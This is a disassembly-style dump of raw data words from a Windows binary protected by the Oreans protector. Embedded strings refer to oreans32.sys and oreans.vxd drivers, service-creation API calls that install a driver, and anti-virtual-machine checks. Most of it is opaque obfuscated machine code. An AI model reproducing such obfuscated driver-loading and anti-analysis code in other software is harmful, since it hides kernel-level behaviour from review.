		dd 6442AA5h, 0B70FC08Bh, 0E985C6FFh, 43064402h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 57C35343h, 4A4F6674h
		dd 0FA0C142Bh, 0A5BD8B36h, 68064431h, 0A229CB1Ch, 5E2D2FBFh
		dd 2434813Ch, 1EA7A5E0h, 0F98D8951h, 5E064429h,	2D7DB5FFh
		dd 8B660644h, 65858DCFh, 6A06443Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9B1DC352h
		dd 0F5B589ADh, 0E9064428h, 0Dh,	0B81B0864h, 0D057171Ch
		dd 0DED452E3h, 31D0FF18h, 442FA58Dh, 8B669006h,	0D38B50CBh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0FCF38B29h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D90C09C3h
		dd 0FA9F1D0Ah, 0A860FC7h, 0F000000h, 48Bh, 0B7BA6600h
		dd 484868C7h, 0EE867B6h, 93000000h, 0FB1F3BBAh,	6B09BE18h
		dd 0CF9E3AAAh, 525060A0h, 585A310Fh, 310F5250h,	5961585Ah
		dd 0C8243481h, 8967B648h, 4432A99Dh, 8A036A06h,	6A006AD7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 3114C353h, 0C1F681D1h, 6A2FB8FDh,	56006A03h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 8DC10376h, 0C20AFC6Fh, 378668C9h, 0BA665792h, 481C0AEh
		dd 6DC87A24h, 68A0F68h,	89000000h, 441829B5h, 0B59D8D06h
		dd 290646A9h, 4424E1B5h, 937EB506h, 665023B2h, 6093D38Bh
		dd 81D0B70Fh, 0E7F7B4C0h, 0D0FF6169h, 6800F50h,	89000000h
		dd 442049B5h, 0F405A06h, 24785h, 5DF68000h, 0FFFEB958h
		dd 66506A74h, 899C7ABAh, 0DE92404h, 0EF000000h,	0FC568DFEh
		dd 0D0461323h, 37616078h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0EA6E8AC3h, 10DBF206h
		dd 0E8BFD5ADh, 0Ch, 76FCDB5Eh, 304CD9h,	0DDA731D2h, 5850Fh
		dd 0B1B90000h, 5F1049C2h, 0FFFBF0Fh, 1968D7B7h,	8169F278h
		dd 78992434h, 950B69F2h, 6440C9Dh, 0D78A036Ah, 8B66006Ah
		dd 19870FFEh, 0E9000000h, 14h, 7CEEE6D7h, 6D8621A8h, 735DE762h
		dd 128B25FDh, 67CDE644h, 8B66036Ah, 969E68FEh, 0F08ABF3Ch
		dd 9E243481h, 0F87F3C96h, 0A9BE9D8Dh, 880F0646h, 6, 8BACF181h
		dd 0B58B30BCh, 6441601h, 0F88B6650h, 0E8241C89h, 0Ah, 557E651Fh
		dd 0F1518871h, 5AF5D13Eh, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 4AFE22C3h, 1830F34h
		dd 0F8000000h, 2D850F40h, 8B000001h, 4432298Dh,	0BD235806h
		dd 6441559h, 50D08B90h,	8990F18Bh, 441C51B5h, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0E030C355h, 0EBD39078h, 0F5F28B2Ah, 0E9A4ED68h
		dd 81EB8AF6h, 5B932404h, 8D890916h, 6442B71h, 890F036Ah
		dd 2, 6AFB8Bh, 6A86EA80h, 25950B03h, 0E8064426h, 4, 0C0000000h
		dd 2A78BA66h, 3860F50h,	66000000h, 448BD38Bh, 0A7B20424h
		dd 81B2008Bh, 4244489h,	4880Fh,	0BE660000h, 0F58101Bh
		dd 683h, 0DD8D0100h, 8D06442Eh,	46A9C99Dh, 0A0B96606h
		dd 52509397h, 0FD78B66h, 1A860F31h, 0E8000000h,	14h, 7AD49E51h
		dd 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h,	50585A5Eh
		dd 8A525050h, 5A310FF3h, 0F9935958h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B7D4B1C3h
		dd 850F40F9h, 1Ch, 305BD8Bh, 0BE580644h, 688EAE7h, 0EDE9h
		dd 39C28100h, 0B948A0B0h, 79C3E550h, 6AD88Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 817857C3h
		dd 0E9DFD10Ch, 9, 6393804Eh, 0F057B7B1h, 0DA814B7Eh, 5EEE51Ch
		dd 0CADE8166h, 8D8958D2h, 6442A39h, 2E985C6h, 89430644h
		dd 4410459Dh, 0C2816606h, 4E8470Dh, 0A7000000h,	66C0764Ah
		dd 6650FE8Bh, 8B3CE0BFh, 8B042444h, 0E8525000h,	0Ah, 0D4622899h
		dd 4A47EBAEh, 0F18B85D3h, 66310F5Eh, 5ACEA3B9h,	24448958h
		dd 6B95BF04h, 0F5587A5Ch, 2D7DB5FFh, 8B660644h,	65858DF7h
		dd 8006443Ah, 0D0FFD3F5h, 29558D89h, 66930644h,	9350D38Bh
		dd 0FFCB8B66h, 0A59D89D0h, 66064408h, 8D354FBAh, 44733A9Dh
		dd 259D3106h, 0B806440Ch, 1, 2BC59D89h,	0E3FF0644h, 14D1B589h
		dd 0C18B0644h, 1911BD89h, 0C08B0644h, 3498D89h,	0BD830644h
		dd 64420CDh, 83097500h,	440B25BDh, 19740006h, 0C08B5350h
		dd 40FB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h
		dd 25BD8358h, 6440Bh, 53501774h, 40FB8h, 29858900h, 8D064422h
		dd 46A5579Dh, 5BD3FF06h, 42D58058h, 0E8C08BF5h,	6, 6DEA4F06h
		dd 8E984BEh, 95000000h,	0A3FCD63Ch, 5E8A2DC1h, 14E8h, 0FD185000h
		dd 0F8F63F8Ch, 28282F08h, 0ADB8322Bh, 0AEA15E2Dh, 815AF82Eh
		dd 6D8EC6h, 199D8900h, 0B806441Eh, 1B3Eh, 0FFBBDA80h, 8E936h
		dd 19CB0000h, 363FCC04h, 665B5682h, 0BAB5D981h,	2FFCF381h
		dd 0F58045CCh, 2BC3817Bh, 804D7D86h, 0C381B8EAh, 66AE2CF6h
		dd 6A18D0Bh, 1E890644h,	0A02CEE81h, 0BF0F70ACh,	28C681F9h
		dd 2970ACA0h, 4424059Dh, 850F4806h, 0FFFFFFAFh,	0D39B589h
		dd 0EE90644h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	64402E9h, 5B866847h, 0B5FFE3E4h
		dd 6442D7Dh, 3A65858Dh,	0D0FF0644h, 10468h, 519D8D00h
		dd 5306440Eh, 8D50D0FFh, 46B229B5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 4402E985h
		dd 0FC684306h, 0FFBC8E6Eh, 442D7DB5h, 65858D06h, 0FF06443Ah
		dd 51B58DD0h, 6A06440Eh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 64402E9h, 0EE566857h,	0B5FFA69Bh
		dd 6442D7Dh, 3A65858Dh,	0D0FF0644h, 1C09BD8Dh, 8D8D0644h
		dd 646B34Fh, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B031B58Dh, 858D0646h, 646A173h, 8D8DD0FFh, 644733Ah
		dd 0B8h, 0C6E1FF00h, 4402E985h,	0A7684306h, 0FFC0764Ah
		dd 442D7DB5h, 65858D06h, 0FF06443Ah, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 46EBA4BDh, 840F0006h, 0Ah, 0B2585C7h, 10644h
		dd 85C60000h, 64402E9h,	6E516847h, 4816518h, 54FE3C24h
		dd 7DB5FF2Bh, 8D06442Dh, 443A6585h, 0FFD0FF06h,	80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h
		dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2DDE900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C0E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 646EB24h, 225E8h
		dd 0B9BD0300h, 830646EBh, 46EBB9BDh, 840F0006h,	0Bh, 20CD85C7h
		dd 10644h, 8DC30000h, 46EB2FB5h, 1FCE806h, 0BD030000h
		dd 646EBB9h, 0EBB9BD83h, 0F000646h, 0B84h, 2585C700h, 106440Bh
		dd 0C3000000h, 0EBA8B58Dh, 0D3E80646h, 3000001h, 46EBB9BDh
		dd 0B9BD8306h, 646EBh, 0B840Fh,	85C70000h, 64431BDh, 1
		dd 39B58DC3h, 0E80646EBh, 1AAh,	0EBB9BD03h, 0BD830646h
		dd 646EBB9h, 0B840F00h,	0C7000000h, 440B2585h, 106h, 0B58DC300h
		dd 646EB43h, 181E8h, 0B9BD0300h, 830646EBh, 46EBB9BDh
		dd 840F0006h, 15h, 0B2585C7h, 10644h, 85C70000h, 64420CDh
		dd 1, 51B58DC3h, 0E80646EBh, 14Eh, 0EBB9BD03h, 0BD830646h
		dd 646EBB9h, 0A840F00h,	0C7000000h, 4416C185h, 106h, 5BB58D00h
		dd 0E80646EBh, 126h, 0EBB9BD03h, 0BD830646h, 646EBB9h
		dd 0A840F00h, 0C7000000h, 4416C185h, 106h, 66B58D00h, 0E80646EBh
		dd 0FEh, 0EBB9BD03h, 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h
		dd 4418C985h, 106h, 6CB58D00h, 0E80646EBh, 0D6h, 0EBB9BD03h
		dd 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h,	440A9985h
		dd 106h, 72B58D00h, 0E80646EBh,	0AEh, 0EBB9BD03h, 0BD830646h
		dd 646EBB9h, 0A840F00h,	0C7000000h, 4431DD85h, 106h, 80B58D00h
		dd 0E80646EBh, 86h, 0EBB9BD03h,	0BD830646h, 646EBB9h, 0A840F00h
		dd 0C7000000h, 44320D85h, 106h,	8DB58D00h, 0E80646EBh
		dd 5Eh,	0EBB9BD03h, 0BD830646h,	646EBB9h, 0A840F00h, 0C7000000h
		dd 441A1985h, 106h, 98B58D00h, 0E80646EBh, 36h,	0EBB9BD03h
		dd 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h,	44181185h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0EBB9B589h, 0AE90646h, 0C7000000h
		dd 46EBB985h, 6, 8BC36100h, 10A9E9C8h, 44410000h, 49504156h
		dd 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h
		dd 72430041h, 65746165h, 76726553h, 41656369h, 61745300h
		dd 65537472h, 63697672h, 47004165h, 614E7465h, 65766974h
		dd 74737953h, 6E496D65h, 4F006F66h, 536E6570h, 69767265h
		dd 416563h, 656C6544h, 65536574h, 63697672h, 6C430065h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 6E6F4300h
		dd 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 10h
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 0A98589C4h, 89064433h, 44298985h,	0C88B6606h
		dd 7E9C08Bh, 0C3000000h, 0CD33346Bh, 5E95CD2h, 0FB000000h
		dd 562DD5ABh, 20CDBD83h, 75000644h, 25BD8309h, 6440Bh
		dd 53501974h, 3DB8C08Bh, 89000004h, 4402F585h, 4F9D8D06h
		dd 0FF0646A8h, 83585BD3h, 440B25BDh, 17740006h,	3DB85350h
		dd 89000004h, 4402F585h, 3E9D8D06h, 0FF0646A5h,	6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 7FC5C356h, 0F5FB8B66h, 0C08BC08Bh, 0CE9h
		dd 640F4800h, 1D911551h, 8290E14h, 12E926h, 532E0000h
		dd 0CA6770D8h, 1D376E81h, 657AD2Ah, 0FF808A05h,	20CDBD83h
		dd 75000644h, 25BD8309h, 6440Bh, 53501374h, 0B8C08Bh, 8D000000h
		dd 46A6F19Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501174h
		dd 0B8h, 0A29D8D00h, 0FF0646A5h, 0B2585BD3h, 0B5BF661Ah
		dd 6AC08B8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0CBAEC355h, 20BA968Ah,	0FC08B28h
		dd 387h, 0C88B6600h, 20CDBD83h,	75000644h, 25BD8309h, 6440Bh
		dd 53501374h, 0B8C08Bh,	8D000000h, 46A6239Dh, 5BD3FF06h
		dd 25BD8358h, 6440Bh, 53501174h, 0B8h, 709D8D00h, 0FF0646A5h
		dd 0E9585BD3h, 0Dh, 0E29D3CCAh,	6477F0C6h, 0FF3A9579h
		dd 0BE99Ah, 1E70000h, 557A8A57h, 9CE8E95h, 8BC08BDBh, 4414C58Dh
		dd 0F9C08B06h, 20CDBD83h, 75000644h, 25BD8309h,	6440Bh
		dd 53501374h, 0B8C08Bh,	8D000000h, 46A68A9Dh, 5BD3FF06h
		dd 25BD8358h, 6440Bh, 53501174h, 0B8h, 899D8D00h, 0FF0646A5h
		dd 31585BD3h, 441B1D8Dh, 0A972B906h, 0C08B51BEh, 2E35952Bh
		dd 0C08B0644h, 13E9h, 1957E600h, 0A4E3E228h, 2ADD73Ch
		dd 0BF4F810Dh, 26155461h, 20CDBD83h, 75000644h,	25BD8309h
		dd 6440Bh, 53501374h, 0B8C08Bh,	8D000000h, 46A5BC9Dh, 5BD3FF06h
		dd 71BD2358h, 8006441Fh, 0C08BBAC9h, 0C08BCF8Bh, 1029958Bh
		dd 0BD830644h, 64420CDh, 83097500h, 440B25BDh, 19740006h
		dd 0C08B5350h, 7D0B8h, 0F5858900h, 8D064402h, 46A84F9Dh
		dd 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h, 7D0B8h, 0F5858900h
		dd 8D064402h, 46A53E9Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 80D3862Fh
		dd 14E909F1h, 75000000h, 0BA70D534h, 1DE6D4FAh,	0B3CFA783h
		dd 0A63F3CCCh, 667E56FFh, 8BA371BFh, 0C9BD8BD6h, 8B06441Fh
		dd 9BD89C0h, 0F806440Eh, 2E985C6h, 6A530644h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B7E6C356h, 4C287372h, 5F9068D1h, 8B609939h,	441D75B5h
		dd 0BDBD0906h, 6106440Dh, 2D7DB5FFh, 14E90644h,	84000000h
		dd 6CAF55B4h, 0A688B062h, 0AA97B262h, 97F561AEh, 8D60A4C7h
		dd 443A6585h, 66D0FF06h, 8589CE8Bh, 6440BF9h, 6860Fh, 8D890000h
		dd 64402DDh, 2E985C6h, 60570644h, 0BE9h, 88B74C00h, 0E6E93AA7h
		dd 0C566DA58h, 5E961h, 0E3190000h, 689DBA65h, 90045206h
		dd 1EBDBD31h, 0B5FF0644h, 6442D7Dh, 33A1BD8Bh, 85890644h
		dd 6441A11h, 3A65858Dh,	8B660644h, 6820FD6h, 8B000000h
		dd 442AAD95h, 6AD0FF06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 52D0C352h, 10E960B3h
		dd 6D000000h, 6DE25A75h, 0C43E1A46h, 0E6EA6BCh,	0E91A4263h
		dd 7, 0CE661514h, 6140B4B1h, 0ACA3B966h, 22818589h, 81660644h
		dd 0C6C1D0C9h, 4402E985h, 6A4306h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 6809F8C3h, 0BC907028h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 94C35040h
		dd 56BDED60h, 85BD42ACh, 99BD31E0h, 0FF064419h,	442D7DB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 6D8D8BFBh, 8D064430h, 443A6585h,	81BD8906h
		dd 0F064410h, 0D0FFCBB7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 8AC35747h, 98331175h,	0E7EE73B8h, 58F0Fh
		dd 0CCBF0000h, 0E9306ECCh, 0Ah,	4BA1C5A5h, 0E0353256h
		dd 8589FB17h, 6441F8Dh,	8A5958Bh, 85C60644h, 64402E9h
		dd 0CD9814Ch, 681EAE66h, 0D9DA1CE9h, 3598D33h, 0B5FF0644h
		dd 6442D7Dh, 8DFEBF0Fh,	443A6585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 858993BBh
		dd 64408B1h, 0BD8BD0FFh, 6442355h, 2A18589h, 0C6F50644h
		dd 4402E985h, 7E94606h,	6C000000h, 2DB54F57h, 1468F7B6h
		dd 0E8BADE06h, 0Eh, 339C7326h, 4B4529B5h, 0B5A1C70Ah, 0B501F46Fh
		dd 6442F41h, 7DB5FF59h,	6A06442Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 962AC353h
		dd 1611AE1Ah, 9D9D0981h, 8D064422h, 443A6585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0FB1A453Eh, 66D0FFF9h, 175C281h, 7B99523h, 85890644h
		dd 644304Dh, 13E8h, 0BB347300h,	6F932CF6h, 630709A2h, 97C83685h
		dd 6FA6EF20h, 0C65ACE8Ah, 4402E985h, 0BD094706h, 6440C79h
		dd 68A0Fh, 8D8B0000h, 6441821h,	0FB5E268h, 1B81BF8Ah, 81665B07h
		dd 0FFC25FC9h, 442D7DB5h, 319D8906h, 8D064426h,	443A6585h
		dd 9B52906h, 0FF064431h, 0B0E2BFD0h, 0C6803365h, 2D8589C3h
		dd 0F06441Ch, 85C6FAB7h, 64402E9h, 798D8B47h, 68064402h
		dd 83D0B5F3h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	9CC35545h, 0D9E5B96Ch, 0B5FF2F11h, 6442D7Dh, 38A0Fh
		dd 8B660000h, 65858DD1h, 8B06443Ah, 4422498Dh, 31D0FF06h
		dd 440D618Dh, 51858906h, 89064400h, 441CC19Dh, 0E18D8B06h
		dd 0C606440Fh, 4402E985h, 6A7706h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0CE3BABC3h, 858960ECh
		dd 6440755h, 10698D01h,	68610644h, 0F397A8A3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 65C35646h, 0D26EE275h
		dd 0B5FF157Fh, 6440E25h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 46C35747h, 17005B99h,	0B70FC91Bh, 65858DCEh
		dd 106443Ah, 4421798Dh,	0E18D2906h, 0FF064410h,	0FDB529D0h
		dd 8906441Ch, 4409A185h, 0E985C606h, 47064402h,	68C0F56h
		dd 89000000h, 4433B1BDh, 0F6685A06h, 538728FAh,	0C7CFBF66h
		dd 0DA81665Fh, 0B5FFF29Bh, 6442D7Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 65C35242h, 0CC7D62B3h, 22544826h
		dd 0CE8h, 404C8900h, 462FE6C6h,	56E3FB4h, 4DBD8B62h, 5A06442Ah
		dd 5E9h, 0AB90A000h, 858D2348h,	6443A65h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 2DC35141h, 0C0308C60h
		dd 38AC60Ch, 0C2816635h, 0D0FFBEDFh, 858998B6h,	6441EC5h
		dd 85C6D38Bh, 64402E9h,	0B4B66043h
		dd 0BF77BA66h, 6EFC6861h, 8B66BC8Eh, 7DB5FFCBh,	0F06442Dh
		dd 680h, 61B58900h, 8D06440Ch, 443A6585h, 35958B06h, 0FF064415h
		dd 858956D0h, 64417C9h,	0C98D8B59h, 8906442Fh, 441BF985h
		dd 0B5852906h, 0C6064402h, 4402E985h, 0BE84506h, 88000000h
		dd 8E11369Ch, 7E618912h, 29608639h, 4431CD9Dh, 7DBD8B06h
		dd 6106442Ah, 6969685Fh, 6A8E72h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E66B65C3h, 3F3210BAh
		dd 10C9BD01h, 0FFF80644h, 442D7DB5h, 5BD8906h, 8D064418h
		dd 443A6585h, 0AFC98006h, 9D01D0FFh, 6441D95h, 20E18589h
		dd 9D290644h, 6441739h,	2E985C6h, 0F440644h, 0A84h, 0F98B6000h
		dd 311D9D89h, 68610644h, 0B8F2EC64h, 10E9h, 0C772C300h
		dd 210AA99h, 89118BD2h,	4798F8E6h, 7DB5FF51h, 0E806442Dh
